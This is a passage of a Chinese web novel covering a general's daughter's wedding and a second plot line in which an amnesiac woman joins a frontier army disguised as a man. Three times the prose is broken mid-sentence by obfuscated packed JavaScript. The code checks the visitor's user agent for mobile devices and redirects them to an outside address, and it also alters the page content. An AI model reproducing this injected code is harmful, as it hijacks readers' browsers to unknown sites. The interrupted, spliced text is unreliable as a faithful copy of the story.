护国公大呼肉疼,没想到女儿走一遭江湖,回来成了个贪财奴。 护国公三小姐要出嫁的消息一传开,京城人议论纷纷。毕竟三小姐大半年没露面,一回来就是个这么大的消息。还有被护国公传出的谣言骗了的人哭天抢地,吟诗叹美人嫁作他人妇。 诗词还传进了护国公府,丫鬟笑嘻嘻拿给孔英看。 孔英好奇瞧了一眼,这诗分明就是借她隐晦抒发自己怀才不得志,只一笑而过不多理会。 不知楼修生从哪里听说了这件事,连夜写了一长篇大论献宝似的送到孔英手上。这首文章倒是全心全意讲她了,又是“花”又是“月”又是“佳人”,用词也太过肉麻,孔英看了一半就燥红着脸压到箱子底下去。 她出走的日子里京城没什么变化,唯一让孔英有些兴趣的,就是京城第一才女云雅娘居然嫁给了个末品小官。那小官后来凭着岳丈的青风扶摇直上,现正是朝廷上的热人。 一想起云雅娘那用鼻子瞧人的姿态,孔英还真是好奇对方如何会愿意下嫁。 家中待嫁实在无聊,孔英又回到了从前在京城那种练兵场、护国公府两头跑的日子,只不过多出了个影子。 调笑起身边人:“你不是说按照礼数要和我分开一段时间吗?怎么不在国师府呆着,跟着我跑来练兵场了?” 初回京城时,孔英想着楼修生无处可去,叫他和自己一起回护国公府住,谁知道直接就被拒绝了,对方嘴里还念念有词着“不该不该”。 楼修生哼了一声,理所当然道:“礼数是礼数,心意是心意。腿长在我身上,我想来就来。” 本来在江南的时候,孔英、他、护国公三人共处一个屋檐下。这又不是小时候,他和孔英相处时旁边总有个人看着,十分不自在。想说些亲昵的话讨孔英欢心,在第三人默默注视的目光下也不得不咽下去。 吸取了教训,他哪里还愿意住到护国公府,说着“要拜访师傅”就搬进了国师府。 至于礼数? 笑死,他和孔英哪个是将礼数放在心上的。 离开练兵场,楼修生说要带着孔英去置办些首饰,孔英本打算直接拒绝,想着自己平日也用不上,被对方一句“未婚夫给未婚妻买首饰天经地义”给说服。 也好吧,自己还是不扫他的兴了。 楼修生挑首饰比孔英还起劲,左看右看不合适,叫来店家问:“这些都一般啊,你们的珍品放在哪里?” 店家见楼修生要求如此高,暗戳戳估摸着两人财力,看男女都气度不凡神色坦然,笑着将两人往楼上引。 孔英还是头一回知道首饰店有这样的规矩,上到二楼果然别有洞天,不论是款式或是首饰上镶嵌的珠宝都不是一楼可比的,有件翠羽簪子连她看了都有些惊艳。 楼修生见她喜欢,拿起簪子在她脑袋上比划,从右边插入发髻,满意地推着孔英去照铜镜。 店家在一旁附和着:“姑娘好眼光,这簪子罕见,是本店数一数二的上品呐!” 孔英被两人哄得开心,难得生了几分羞意,见镜子里与寻常不大一样的自己,将脑袋转来转去瞧得细致,最后还是伸手取下了簪子。 楼修生低声问她:“不喜欢吗?” 孔英摇摇头:“倒也不是,只是觉得这样精致华贵的簪子到我手上太可惜,一年到头也没法戴几次。”如果是简约的款式或许她还能用来簪发,但这翠羽簪在她手上就好像利剑藏锋,总是可惜。 楼修生明白她的意思,可见孔英那恋恋不舍的目光,还是叫店家将簪子包起来。 “你能欣赏它的美便不算可惜,万事万物又不是只有用上才叫发挥了价值。” 说罢又拉着孔英挑了些简单的款式,零零散散买了一大堆。最后结账时,孔英都要感叹他的豪气。 “没想到你这么有钱啊。” 孔英难免联想到当初自己为钱窘迫的日子。早知道小弟这么有钱,她直接搜刮小弟就好了呀! 楼修生自豪:“袋里没钱如何有底气娶妻?” 两人笑笑闹闹正要离开,楼梯口处款款而来一位身后跟着众多家丁的美娘子。孔英正惊叹对方架势十足,定睛一看居然还是个熟人。 “弄溪?” 安弄溪显然也很意外:“妹妹何时回了京城,没想到在这里相遇。” 孔英与旧友久别重逢,正想好好叙旧,一只手却伸出来将安弄溪搂到怀里。 “没想到弄溪与三小姐是旧相识。” 孔英看着眼前两人摸不着头脑:“云伯伯?” 搂着安弄溪的人正是本朝尚书云业,也是孔英对头云雅娘的父亲。 孔英傻了眼,见两人亲昵的样子就知道他们关系不一般。云业虽说看上去儒雅斯文,可是年纪都能当安弄溪她爹了呀!而且她记得安弄溪曾说自己的琵琶技艺师从宁秋水,宁秋水不也是云业府上的人吗? 她彻底迷糊了,不自觉后退一步。 安弄溪伸出的手抓了个空,勉强笑道:“看英妹妹这样子是要走。”说着让下人让出给孔英和楼修生通过的路。 楼修生匆匆说了句让店家送到护国公府,便牵着还想说什么的孔英径直走了,走前递给安弄溪一道意味深长的目光。 走出了店,孔英反应过来不对,甩开楼修生的手。 “弄溪怎么会和尚书在一起,其中定是有什么隐情。”说着就要返回去。 “在你眼里,安弄溪难道是个纯真无暇的小白花? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288450|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在添香阁待了许多年,也就只有你会被她骗到。就算是有隐情,说不定是人家故意为之呢?” 迈出去的腿硬生生刹住,孔英皱眉:“你的意思是叫我不要去破坏弄溪的谋划?” 楼修生无奈:“我是劝你别将什么人都想得太好,最后反而让自己受伤。” “可……” 风起叶落,楼修生拿下一片落在孔英头上的枯叶,自然地打断了对方说话:“就算你想帮她,也得私下搞清楚了情况再说。现在贸贸然去了,尚书可还在呢。” 孔英彻底被说服,决心有机会去尚书府探望安弄溪。 可没成想,她的拜帖还没送到尚书府,安弄溪的信先一步来了。 她急匆匆打开,首先一句就是“孔英妹妹安好”。一目十行看下来,失魂落魄地跌坐在椅子上。 信上的字迹依旧能看出娟秀雅致,只是显得潦草。 这封简短的信上只说了让孔英不用担心,自己现在一切安好,话里话外的意思是让孔英不用插手。还说自己知道孔英好事将近,提前送上一份赠礼,祝孔英和楼修生喜结良缘。 明明说的都是好消息,怎么孔英读完了,却总觉得安弄溪不如她表现出来地那般开心呢。 指尖将信纸捏出褶皱,最后无力地松开。 她知道自己总不如安弄溪和楼修生聪明,如果真像楼修生说的那样坏了弄溪的计划,孔英反而好心办坏事。只好默默关注着尚书府的消息,至少确认安弄溪人身无恙。 孔英和楼修生的婚事定在三月底,正好是春寒料峭已过,万物生机勃发的时候。 还没到日子,护国公府上上下下就忙得不行,所有人提着心唯恐出岔子。 孔英这个主人公反倒格外清闲。护国公像是怕她再逃一次婚,管着孔英不让她再随便跑。她只好每日吃吃喝喝练练武,身子都丰腴了,幸好嫁衣留够了余量。 日子就这样到了她出嫁前一天。 在管教嬷嬷的催促下孔英早早上了床,却在床上翻来覆去睡不着,将自己这间闺房看了又看。心头正惆怅着,却听见轩窗下传来异样声。 察觉到不对,孔英翻身下床去查看情况。 刚推开窗,就见蹲在墙下的楼修生正准备撑着手起身,恰好钻进她刚推开的窗子里,与孔英四目相对,眨了眨眼。 孔英双手交叉环胸,睨着眼瞧楼修生故作自然和她打招呼的样子:“你怎么来了?” 楼修生因孔英的冷淡很委屈:“我有点紧张,想来看看你。” “紧张什么?我又不会跑。” 楼修生忙摆摆手:“我没有这个意思,我只是……有点想你。” 护国公管着不让孔英出府,细细数来他们都有好几天没见面。都说一日不见如隔三秋,这都赶上他们中间分开的年月了。 孔英终于憋不住笑,用手指轻点了点他的额头:“明天不是就能见了吗,连多一晚上都忍不了?” 楼修生呆呆眼前人。这个人将在明天成为他的妻子和家人,他们的名字会被写入同一部族谱,死后也将同葬一处,百年不分离。反握住孔英的手指,从额头移到胸前,戳在自己心巴上。 “忍不了。” 31. 孔英要真心识贞心 “桃之夭夭,灼灼其华。 之子于归,宜其室家。” 一天下来,孔英口干舌燥,尽管早有预料,还是被各种礼仪闹得心烦。好不容易进了洞房,口渴想去倒杯水喝,一把掀开红盖头,却发现桌上只摆了喜酒。 唔…… 孔英皱着眉头,想着应该也没事。 于是,等楼修生应付完了各种闲杂人等,终于能去见一见自己的新娘子,一开门就见孔英已经醉倒在桌旁。 楼修生倒了倒酒壶,无奈。这还真是一滴都不给他留啊。 “孔英?”他摇了摇意识不清的人,试探性改口,“英英?” 孔英朦朦胧胧睁开眼,乍一见三个楼修生,惊道:“哈,我认得你!你是东瀛忍者!” 楼修生满头黑线,咬牙想这是哪时候的旧黄历了。 “嘻嘻,骗你的。”孔英仿佛恶作剧成功,“我认得你,你是我丈夫……不对不对,我怎么有三个丈夫?那你就不是我丈夫。” 楼修生知道对方又在耍酒疯了,就不应该让孔英和酒共处一室。只得顺着对方的逻辑好声好气哄着:“我是你丈夫,有三个丈夫不好吗?以后就有三个人爱你的人。” 边说着边将人往床上扶,总不能让她在桌子上睡一晚。 “可是我只有一个,怎么分给三个人呢?” 楼修生眼睛都不眨:“这还不简单?这个两天,那个两天,另一个再两天,你还有一天能休息呢。” 孔英恍然大悟:“醍醐灌顶,醍醐灌顶啊!你教得比胡夫子好多了。” “这算什么,我会的可还很多。” “你还会什么……哼,这我也会……” “……诶?欸?!不行……孔英!” “看吧,我也会的……” …… 第二天醒来,孔英头疼欲裂。 按理来说喜酒度数不高,谁让她昨晚自己喝完了一大壶呢。本来是会有人给她煮醒酒汤的,可是那人昨晚也被折腾得够呛,此时还蛇似的缠在孔英身上,双眼迷蒙着让她再多睡会儿。 闹闹腾腾地出嫁,闹闹腾腾地成家。 礼成之后,虽说楼修生已经在京城购置了府宅可以居住,但孔英之前听他说过许多深山野林的事,便想去见见他原先住的地方。 护国公当然舍不得女儿去那种荒山野岭,怪楼修生带坏了孔英,拗不过她只好捏着鼻子答应下来。 孔英是个十足的行动派,一旦敲定什么事情边立马着手去做。 几天后,护国公捏着手绢擦擦眼角,泪眼婆娑嘱咐着:“要是不适应那种地方可一定要回来,家里什么好吃好喝的都有!定然不会让你受了委屈。” 说罢又双目如牛地瞪向楼修生:“你敢欺负孔英,护国公府饶不了你!” 长大的女儿就像长了翅膀。孔英之前还说他使计策让管教嬷嬷逼她出走,他怎么舍得呢?只是护国公知道自己的女儿总有一天会飞到天空里。 直到载着孔英的马车远得看不见踪影,他还站在原地。如果孔英还在这,肯定能第一眼看见父亲鬓角苍苍。 硕大的护国公府最后也只剩下了护国公一个人。 —— 故事太长总容易忘记开头,比方说孔英忘记了在江南的六年,比方说楼修生陷在甜蜜里,险些忘了自己人生的前八年。 —— “呼……呼……” 眼前一片红,皮肤被锐器割开后流出的鲜血模糊了视线,让她感知到的整个世界都变得不清晰。右手护在身前,左手无力地摸上小腹,那里给她带来精神上的痛楚远大于身体上的痛楚。 整整三天三夜的追杀,她精疲力竭,到最后只能被动狼狈地逃窜。即使意识到了对方抱着猫捉老鼠的逗弄心思,但她所能做的只有逃跑。 逃!回京城!不要让他得逞! 身后是空无一物的悬崖绝壁,身前是九个想要她命的杀手。看似死路一条的境地,她决绝转身一跃而下。 杀手惊诧上前,面对着无底深渊,相互对视一眼,捡起被刮破的衣服残片返回复命。 他们料定孔英活不下来。 “我妹妹要是活到现在,估计就和你差不多年纪吧。不过她比你娇气,受点小伤就疼得直叫唤,‘哎呦哎呦’个不停。” 耿红絮絮叨叨说着,给床上一声不吭的人换上新膏药,看了眼深可见骨的伤口,感叹着这人真是命大,从悬崖上摔下来还能活下来,这身体素质也太好了。 可惜就是坏了脑子,姓甚名谁家在何处都说不出来。幸好只是失忆,没被摔成痴傻。 耿红习惯了对方的沉默。自从她把人从悬崖底下捡回来之后,这人就很少说话。耿红琢磨着等人好点了就带着她去镇上问问,总得找到她家人嘛。 “吱嘎。”木门被推开,走进来个背背篓的精壮男人。 一进来先眉头竖起,生气踹了脚旁边装药材的竹筐,怒声道:“她怎么还在啊,不是让你把她送走吗!” 耿红瑟缩了下脖子,手不自觉颤抖起来,懦声道:“再等上几天吧,她现在这样子也走不了路。” “等什么等啊,她身上被砍了那么多刀,指不定是有什么仇家。”男人骂骂咧咧将背篓摔在地上,多看一眼受伤的人都觉得晦气。 骂了还不解气,架着胳膊上前就想抓起那人的头发,扯着往地上拽:“妈了个,吃老子的用老子的。不用等,就现在,把她赶出去!” 耿红慌忙去拦,被一巴掌打倒在地,脑袋重重磕在墙上眼冒金星。 床上人一副呆样,仿佛对眼前爆发的冲突还反应不过来,微侧抬头,余光见耿红抱着头在墙角呻吟,男人张牙舞爪狞笑着,又顺手抓起身边的椅子砸到耿红身上。 直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288451|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那只大手直直往她面部袭来,她眼中厉色一闪而过,犹如幽魂般闪到比自己高一个头的男人身后,手肘扣上对方的脖子,一个使劲将惊慌挣扎的人举起到半空。 身上的伤口撕裂开来鲜血淋漓,她恍若未觉,发狠一个扭身将男人甩到墙上。 “轰——” 耿红呼吸停滞一瞬,泪眼朦胧的视线和扭转了一百八十度脑袋上的无神眼睛对上,惊声尖叫被卡在脖子里发不出来。反应过来后胡乱擦了脸上纵横的泪,双腿发软又强撑着站起来,抓住那人的手就往外推。 “走,快走,别被人看到。” 那人反扣住她的手,沙哑虚弱的声音里透露着不容置疑:“一起走。” 医女耿红的妹妹耿碧从小和姐姐相依为命长大,力大无穷天生神力,能穿行在山野间孤身和猛兽搏斗,练就了一副好本领。前阵子马失前蹄受了伤,只好和姐姐暂时搬到镇子上,靠卖力气谋求点生计。 蹲在地上的陶邯拿毛布擦了擦头上流下来的汗,目瞪口呆看着耿碧身上背着足足五个大沙包,却依旧脚步稳健气息不乱,啧啧称奇道: “不是我说,你这人年纪不大力气还真是不小。”他挑眉八卦着,“听你姐说,你是和一只吊睛白额虎缠斗了一晚上,力竭之下才受的伤?” 旁边人反驳:“怎么可能,分明是打猎碰上了夜出的狼群!” “我怎么听说是正好撞见传说中的穷奇在吃人?” 谣言越传越离谱,几人争论不休,吵得面红耳赤,争执之际根本没发现耿碧早就离开了。 这是今天最后一项活,她细细数过工头给的工费确认无误,回家路上脚步一转进了糕点铺子。 等耿红从医馆回家,就见桌子上摆了油纸包的绿豆糕,整整齐齐四块全给她留着,失笑。从怀里掏出热喷喷的半只烧鹅,将耿碧从里屋唤出来,从锅里盛出一大碗饭。 “你呀得多吃点饭,每天花这么多力气是要好好补一补。” 耿碧不语,一味往嘴里扒拉米饭,却见碗里突然多出来一只冒着香气的鹅腿。动作一顿,抓起鹅腿往嘴里塞,滋滋的油腥味很好地抚慰了自己的胃口,整个人都松下来。 “听说南边发了水灾,好多庄稼田都被淹了,那么多灾民还不知道怎么办。”耿红想起自己听来的传闻,叹气道,“这世道,还没太平多少年呢,活着真不容易。” 她忧心忡忡:“最近又开始征兵了,不会要打仗了吧?” 耿红习惯了耿碧不回话,自顾自说着也不觉得尴尬。 伸手拿起一块绿豆糕小口抿着,觉得口感不错,就是味道偏淡了些。猝不及防被耿碧的话吓得噎住嗓子,猛烈咳嗽着,手拍胸口好不容易平复下来,不可置信看向耿碧。 “你说什么?” 耿碧不慌不忙咽下最后一口饭,慢腾腾道: “我要去参军。” 32. 万里赴戎机 军营里的新兵很好辨认,一看含胸驼背的样子就知道是被拉来的壮丁,在西北的风沙里灰头土脸。 耿碧混在人群队伍里学人家的样子低垂着头,心里想着不知道耿红是否一切顺利,走着走着跟前突然出现一双被泥沙染得看不出原本颜色的军鞋。 脚步不得不停下,迟缓抬头。比她高出一个头的男人双手叉腰挺着胸膛,脸上挂着恶劣的笑。 “小矮子,你刚来,要不要我教教你规矩啊?”王康话里满是不怀好意。 耿碧顿住,环顾四周。人群注意到这边的争执,事不关己高高挂起。有几个知道即将发生什么的老兵避开耿碧的视线,知道又有个人要遭殃了。 老兵正叹息着世风日下,耳边却突然传来人群惊呼,忙转头去看,眼前一幕却让他目瞪口呆。 原本气势汹汹的王康被一个过肩摔倒在地,耿碧不发一言,只是默默将周围又扫视一圈,见没人轻举妄动,丢下在原地嗷嗷直叫的王康就走了。 狠人啊。 王康都没说什么呢,那新兵一言不合就出手,看样子还很能打。老兵咽了咽口水,打定主意记下耿碧的模样,以后顶不能招惹到她。 “哪里来的傻子,一来就把王康得罪了,以后不想混啦?” 有人不屑:“你看人家会怕吗?那出手叫一个利落呀,肯定是个练家子。” 耿碧还不知道自己一进军营就被人打上了“不好惹”的标签,只是发现自己所走到的地方,旁人都会自动让出一条路,还怪有礼貌的。 自从她被耿红从山崖下救起后就失了忆,完全想不起来自己的过往。身上许多伤口,像是被人追杀所致,坠崖一事也十分蹊跷。况且她还发现自己会武功,总不自觉使出没见过的招式,说不定以前是个树敌众多的武林高手。 后来她杀了耿红的混蛋丈夫,更加不能大张旗鼓去找自己的家人,暂且借用耿红已逝妹妹的身份,化名耿碧,就这么先活下来再说。 耿红说她大难不死必有后福,她自己也这么觉得。 那日在街上见穿着铠甲的人拉壮丁。当兵也是条出路,就凭她这一身力气与手段,想做出一番成就还不是轻轻松松? 于是回家就和耿红说了自己的想法。原本耿碧的打算是自己一个人来西北,每月发了军饷就给耿红寄回来一部分,当作是报答她的救命之恩,也算不白顶了人家妹妹的名字。 结果耿红失眠了一个晚上,第二天天还没亮,拉住准备出门干活的耿碧说自己也去西北。 当然不同于耿碧女扮男装入伍,耿红想利用自己的医术去当个军医。 “反正我现在无牵无挂,不如跟着你一起走。”耿碧看出了耿红说这话时的犹豫,默默听着她继续说,“那男的已经死了,难道我一个人活得下来吗?” 耿碧道:“我会给你攒一笔钱,还会每个月给你寄钱保你衣食无忧。你要是担心受人欺负,我就拿钱去买条看家护院的大狼狗。你要还是觉得一个人活不下来,就算跟着我去了军营,我也没办法时时刻刻看着你。” 她这大实话有点难听,耿红咬住了下嘴唇。 耿红知道眼前人这话没恶意,但又觉得对方站着说话不腰疼。要是自己也有功夫傍身,难道还需要担心这些?奈何自己只是个身若扶柳的弱女子啊,出嫁前靠爹娘,出嫁后靠丈夫。 “总之你想想清楚,且不说打仗如何血腥,就算去西北路上也多有坎坷,不是那么容易的事。” 耿红就故意躲着耿碧一天不见她,又失眠了一个晚上,第三天拉住耿碧时眼底一片青黑,但眼神却坚定了不少。 “到哪里不是活,我们一起去西北!” 耿碧不知道耿红是经过了一番怎样的天人交战才作出这个决定。她原本以为耿红会留下,却没想到这个娇娇柔柔的采药女也藏了几分执着。 事情敲定下来,耿碧接下来几天干活格外卖力,想攒出路费。耿红则收拾着两人份的包裹,细致打算着一路上需备哪些东西,几日下来竟整理出两个大包袱。 耿碧瞧着耿红那副提起包袱都吃力的样子摇了摇头,换上男装后,寻根扁担将包袱一前一后背上,两个人都省力不少。 也多亏了耿红提前谋划,让两人一路上少花了不少冤枉钱,风尘仆仆从东南到西北,赶在身上最后一点银子花完前到了征兵处。 要问为什么不一开始就跟着拉壮丁的人走?那些人可是有正经出身的,耿碧一个来历不明,冒充人家妹妹的人怎么敢跟着大部队。但自己来了西北之后可就不一样了。 天高地远,就算是胡编的身份又有谁认识呢。 有惊无险过了登记检查成了新兵,耿碧和衣躺在挤满人的大通铺上,耳朵听着四面八方传来的呼噜声,确认所有人都睡熟了,才敢悄悄溜出去用湿毛巾擦去一身污秽。 耿红冒着夜色找到蹲坐在墙角的耿碧,从怀里掏出个粗粮馒头递给她:“喏,知道你肯定没吃饱。” 耿碧毫不客气,拿过来张口就咬,唾液打湿馒头后,嘴里有了甜味。 耿红低声和她说着悄悄话:“我听说有老兵找你麻烦,还被你揍了?” 耿碧意外,没想到这事情还传到了军医那,点点头,三两口将馒头吃干净,摸着肚子还是觉得饿。 “你初来乍到的还是小心点好,谁知道那些人会不会抱团欺负你呀。我知道你厉害,他们打不过你,但说不定人家在暗地给你使绊子呢?” 耿红不赞成耿碧的做法。军营里老兵压榨新兵,新兵熬成老兵后压榨下一轮新兵,这早就是约定俗成的规矩了,谁都是这样过来了的。 耿碧摇摇头:“我不是为受欺负来的。” 是不是默认的规矩,和她有什么关系?这种破烂规矩就该消失在她手上。 耿红明白劝不动她,无奈道:“行行行,知道你心怀正道。”转而说起别的事,“军医那也管得严,我是偷溜出来的,以后怕是不能每天给你带吃的。你要实在饿得慌,就说自己头疼 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黑脸军官存心整她,布置的体罚任务就算是神仙来了也完不成,还说不完成不许吃饭,害耿碧直接错过饭点,肚子咕咕叫了一整天。有人看不过去,私底下告诉孔英是王康将军官叫来,还添油加醋说了许多状告她偷懒的话。军官这才火冒三丈,重重罚她。 可恨可恨,实在可恨。 耿碧气不过,直接跑去王康睡的军帐,将他的被褥用水浇了个透。 果不其然,夜幕降临后就听见王康怒吼问到底是谁干的。耿碧冷笑,她可是特地趁饭点去的,路上一个人都没有。王康害她吃不了饭,她当然要还礼。 大晚上的被子也干不了,连睡觉的地方的沾湿了。大通铺上挤得满满当当,别人也没办法给他腾地方。王康只好披着外衣在地上睡了一宿,次日醒来后打了好几个喷嚏。 没人承认是自己干的,也没人看见是谁干的。但是当王康对上耿碧那挑衅的眼神时,还有什么不明白呢,咬着牙记下这笔账。 两人彻底结下梁子。 耿碧凭着高超的武力值在新兵里崭露头角,王康凭借老兵的经验在军营里混得很开。所有人都隐隐觉察出两人不对付。 耿碧毫不畏惧,虽然自己的手段有些拙劣,但王康更是下流!她就不信等真到了战场上,王康还能靠打小报告给她下黑手? 如此不畏前辈强权的耿碧自然是收到了新兵的追捧。 并不是只有耿碧一个人遭受过前辈的霸凌,有的人刚进军营就被强迫着下跪给老兵洗脚,也有人直接被敲诈勒索,稍微好点的东西被搜刮了个干净。 但只有她奋起反抗,没让王康得逞。 于是有人自发集聚到耿碧身边,讨好着和她打好关系。他们发现只要主动给她点吃的,就换来耿碧的庇护,这可不比低声下气伺候那些老兵划算多了? 就这样,耿碧不仅不用偷偷摸摸找耿红接济,反而还能用些东西来换耿红过得轻松些。耿红听说了她的事迹,不得不赞叹,同时心生羡慕。 原来还真有不忍气吞声活下去的办法啊。 33. 关山度若飞 新兵里有个傻大个叫严长福,家里一穷二白却养育了五个孩子。作为长兄的严长福体贴爹娘辛劳,自己跟着征兵的人走了,每月省吃俭用扣扣嗖嗖把钱寄回家里,偶然来了一封家书就开心得不得了。 他有天晚上梦见自己上了战场后英勇杀敌,单枪匹马万夫莫敌,红缨枪挑落了敌军首领的项上人头,凭此加官进爵衣锦还乡。 被战友鼾声吵醒时,严长福正美滋滋带着一家老小住进赏赐的府邸,谁料刚下牛车眼前画面就成了阴暗潮湿的军营,鼻尖还弥漫着一股难言的味道。 他翻了个身,将被踢开的被子重新在身上裹紧闭上眼,怎么也想象不出来官家所赐的府邸应该是啥样子。 半睡半醒挨到天光大亮,兵痞子又该去遭训了。 听说营里新来了个喜欢作出头鸟的大力士,和王康很不对付。严长福一想起刚入伍时被老兵抢走的护心甲,就想为这大力士呼喊叫好。 说是护心甲,其实就是从杨树上刮下来的树皮外包了好几层粗布。这还是他娘亲知道他要去当兵后连夜做的,没想到还没在心口捂几天就被老兵硬生生抢走了。 吃饭时,严长福偷偷摸摸藏下个番薯。他可已经打听好了,这位大力士很好说话,只要点吃食就能帮新兵出头。 真见到耿碧,严长福反而怀疑起来。这人还没到他胸口高,真有传说中那么厉害? 他犹犹豫豫:“……好汉,我想请你帮帮我。” 耿碧沉默。自从自己因和王康等人打了好几次架无一败绩而出名,似乎就成了什么许愿圣地。单单是寻求庇护也还好说,后来各种各样的要求都找上她了。 算了,谁让她就是这么一个乐于助人的人呢。 刚吃饱饭的耿碧婉拒了严长福递过来的番薯,问清楚当初是谁抢了他的护心甲,两手空空就直接去了那人营帐。严长福躲在帐外来回来回踱步,不敢跟进去看。 他毕竟没见过耿碧有多大本事,反而那老兵抢劫时的汹汹气势总印在自己脑海里。耿碧又没收自己的东西,要是对方因为自己遭难,他怎么过意的去呢。 帐内许久没传出来动静。严长福心里打鼓,正打算撩起帷幕看看情况,差点和耿碧撞个正着。 对方看上去毫发无伤,将一个东西扔给他:“拿回来了,但外面的布料破了。你要是介意,我让他给你缝补好。” 护心甲失而复得,严长福激动不已,连忙摇摇头:“不用不用,好汉的大恩大德我记在心里,以后要是有什么忙我能帮得上,好汉尽管来找我。” 漂亮话是这么说出来了,其实严长福心里也清楚自己怎么可能帮得上耿碧。不过蝼蚁虽小,蚁穴可溃千里之堤,指不定哪天他就派上用场了。 自此之后,严长福仿佛找到了个可成荫的大树,训练时常站到耿碧身边。耿碧无所谓这些事,对方想站哪里就站哪里,只不过偶尔被对方罗里吧嗦的话念叨得心烦。 直到某日自己去找耿红,严长福居然也跟着来了,见到温婉如水的耿红,眼神发愣。 看得耿红浑身发毛,不知道这个高个子要干嘛。来看军医也不喊疼也不喊难受,就光站着看。 耿碧忍无可忍,一拳将严长福揍去另一个军医处。挨了打的严长福终于回过神,忸怩着小声问能不能换耿红帮他处理。 得知耿碧和耿红是姐弟,严长福对耿碧更是热络,天天明里暗里打听着耿红的喜好。耿碧向对方亮出自己攥紧的拳头,也没能让严长福退缩,颇为认真地向耿碧诉说自己对她姐姐的心意。 “心意什么呀,他应该是当兵当久了。” 耿碧见严长福如此恳切,便将他的话原封不动转述给耿红。耿红听说后并不觉得自己有这么大魅力,只见一次就能让别人魂牵梦绕,又托耿碧劝对方想想清楚。 莫名充当起传话人的耿碧只好又去和严长福谈话。 严长福见不得耿红这般妄自菲薄。在他眼里,耿红有一手好医术,为人温柔善良可亲可爱,这样的人难道不值得喜欢吗? “我姐说她成过亲。” “啊?” 严长福面上一下子纠结起来,耿碧看着对方挠头搔首的样子,心里暗笑原来他所谓的“爱慕”也不过如此。她料想对方以后应该不会再去骚扰自己姐姐了,却听严长福思虑良久后,从嘴巴里挤出一句: “没事,要是她丈夫找上门来,就说是我引诱她的。” 啊? 耿碧将这话传给耿红,满意见到对方如同自己当时一样宛若雷劈的表情,难得帮严长福说话: “他都甘愿为你当外室了啊,我看他心挺诚。” 耿红咬牙:“你没跟他说我丈夫已经去世了?” 耿碧一脸无辜:“……忘了。” 得知耿红是寡妇的严长福松了口气,庆幸自己有上位机会,不用真当没名分的外室,更加殷勤对待耿红。 这些事算是军营生活给耿碧带来的为数不多的乐子。 对兵卒来说,更常见的生活日常是枯燥乏味的训练,以及不知道自己什么时候就要被派去战场的心惊胆战。 这里地处西北边陲,他们都知道自己要面对的敌将是彪悍凶猛的异族。在军队里待的时间久了,各种轶闻传言自然成为茶余饭后的谈资。 “那异族人可凶残了!听说他们喜欢屠城做京观啊。” “京观是什么?” “没听过就别问了,免得你胆子都被吓破。” 西北昼夜温差大,被派去守夜的严长福将手缩进袖子里,听别人故弄玄虚恐吓人,牙齿碰牙齿打了个寒颤。 “耿弟,你有没有觉得最近军营里气氛都不一样了?” 耿碧打了个哈欠,对严长福自来熟的称呼不置可否:“哪儿不一样?” “就是所有人都变紧张起来,就像是快要打仗了。”严长福说这话时眼睛不自觉瞪大。 “瞎说,边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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牙婆子花言巧语,一开始严家人还觉得挺好,跟着富人生活总比跟着自己挨饿强,因此虽然不舍,但也还是同意了。 结果一打听,原来那户富人最喜欢虐待小女孩,以前买过的童养媳无一例外全死了。严长福浑身发冷,连夜跑去半路截人,将银子和粮食如数奉还,抱着泣不成声的四妹妹回家去了。 “你说这种人可不可恨啊?半大的孩子都下得去手,我呸!” 耿碧听了总觉得熟悉,似乎自己也曾经历过相似的兄长关怀。 “二弟是我们家里唯一有点读书天赋的人,我们都盼着他以后能考中举人,最后搞个小官当当。”严长福骄傲道,“我走之前,他还说会给我寄家书嘞!” 他憨憨一笑,不好意思道:“我不识字,到时候还得麻烦耿弟念给我听。” 严长福很羡慕耿碧,力气大认识字,还有个十足好的姐姐。他这个人当惯了哥哥,偶尔也会想当次弟弟。 耿碧一口答应下来。 她感觉到身边人声音越来越小,转头一看才发现严长福双眼迷蒙,头颅一点一点,已经困到不行的样子了。 耿碧轻推了严长福一把,让人靠在身后的木桩子上,好歹能舒服点。 思绪被严长福的回忆录带着走,耿碧不免联想到自己还尚未可知的身世。她的家人爱她,会如严长福爱自己的家人一样吗? 34. 朔气传金柝 或许这世道真是要不太平了,耿碧近日见到的新面孔越来越多。 人多的地方,意外也更多。 严长福正求着耿碧告诉自己耿红喜欢什么样的男子,耿碧烦不胜烦,斜眼道:“你若是想知道,自己去问不就好了?反正我姐又不是不知道你喜欢她。” 严长福咳了咳:“那不一样,我去问她,她不就知道我是装出来的了。” 耿碧很是厌恶那些伪君子,直言:“那你又没办法装一辈子,还不如用自己的真实面貌去追求我姐。” 就在两个人讨论到底该不该在喜欢的人面前伪装这一深刻话题时,身边突然一声疑问的惊呼: “少侠?” 两人齐刷刷回头,就见一个陌生男子惊疑不定看着耿碧,视线在她脸庞上来回打转,一见耿碧的穿着,表情更是疑惑,颇为自我怀疑地喃喃道:“认错人了吗?” 耿碧心里一紧,直觉便是遇上了曾经的熟人,下意识问:“你认识我?” 话一出口又觉得不对,此刻自己身在军营,就算真是以前熟人,她也万万不能与对方相识。 那男子走上前客气道:“在下鲁莽,敢问阁下是否有姐姐妹妹?” 